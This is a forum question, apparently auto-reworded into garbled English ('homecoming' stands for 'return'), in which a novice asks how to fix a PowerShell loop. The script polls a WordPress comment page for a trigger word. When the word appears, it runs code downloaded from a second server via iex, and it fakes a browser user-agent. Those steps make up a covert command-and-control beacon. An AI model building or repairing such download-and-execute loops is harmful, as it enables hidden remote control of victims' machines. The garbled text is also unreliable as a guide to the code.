Powershell | DownloadString | External website | Return -

i'm totally powershell newbie, please indulgent ;)

i'm trying write script machine check external website waiting word: "test" execute download. things goes this:

$word = 'test' $webclientobject = new-object net.webclient $comment = "http://mysite.wordpress.com/comment_section/" $webclientobject.headers.add("user-agent", "mozilla/5.0 (windows nt 6.2; win64; x64) applewebkit/537.36 (khtml, gecko) chrome/32.0.1667.0 safari/537.36)") while($true) { $commentresult = $webclientobject.downloadstring($comment) $found = $commentresult.contains($word) if ($found) { iex $webclientobject.downloadstring('http://a_server_that_is_accessible/tasks_to_do') #task_to_do , blabla commands homecoming } start-sleep -seconds 60 }

i'm running powershell 2.0. windows7

what happened:

the download not executed on internet it not issue coming ips or paths

what i've done next:

i straight write different commands in powershell prompt:

--> while($true) initiate endless loop without exiting it.

to create trick need "double click homecoming on keyboard", loop's ending , "downloadstring" command executed.

still remember i'm more newbie, right? :(

i tried "break" "return" or "exit" bu impossible quit loop. i tried set many double carriage homecoming in script without success.

would please indicates me way simple thing...? :)
